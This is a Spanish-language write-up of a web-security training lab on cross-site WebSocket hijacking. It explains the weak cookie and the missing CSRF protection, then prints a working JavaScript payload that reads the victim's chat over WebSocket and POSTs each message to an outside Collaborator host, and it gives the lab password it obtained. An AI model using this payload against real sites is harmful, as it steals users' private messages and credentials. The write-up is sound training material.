
Descripción
This online shop has a live chat feature implemented using WebSockets.
To solve the lab, use the exploit server to host an HTML/JavaScript payload that uses a cross-site WebSocket hijacking attack to exfiltrate the victim’s chat history, then use this gain access to their account.
Cross-site WebSocket hijacking writeup
Entraremos al laboratorio e iremos a la opción de ‘Live chat’. Vemos que si escribimos algo y refrescamos la página nos devuelve nuestros mensajes aunque no estemos registrados. Si pulsamos Click derecho -> Inspeccionar ->Application -> Cookies, veremos la cookie que hace que el servidor nos devuelva los mensajes, junto con su propiedad ‘SameSite’ a ‘None’.

Esta propiedad hará que enviemos nuestra cookie a cualquier enlace que pinchemos, sin importar que sea de esta página o no.
Vamos ahora a Burp Suite, en ‘Proxy’, ‘WebSockets history’, y capturamos el mensaje de ‘READY’. Lo enviamos al ‘Repeater’ con Ctrl + R o Click derecho -> Send to Repeater. Si enviamos esta petición veremos que el servidor nos devuelve todo el historial de mensajes:

Ahora, vamos al ‘Logger’ y recuperamos la petición a ‘/chat’, veremos que no tiene token CSRF para proteger la petición:

Crearemos entonces un payload para la víctima, que le haga entrar en la página web del chat y que nos envíe todos los mensajes que cargue:
<script>
var ws = new WebSocket('wss://0a2a0077046276ae81ce767e007400d8.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://4fke5vtzpsxlntj88tb4d44ey54wsmgb.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
Nota: El código no funcionará si falta el ‘https://’ delante de la URL proporcionada por el ‘Collaborator’ de Burp Suite.
El funcionamiento de este código es el siguiente:
- Se conecta al endpoint del WebSocket.
- Envía el mensaje «READY».
- Para cada mensaje, envía a la URL de nuestro ‘Collaborator’ este mensaje con el método POST.
Al pulsar ‘Deliver exploit to victim’, iremos al ‘Collaborator’ y buscaremos entre los mensajes:

Encontrando la contraseña y pudiendo registrarnos en ‘My account’ con el usuario ‘carlos’ y la contraseña ‘cp9rx1w56l3dptismlqi’, completando así el laboratorio:
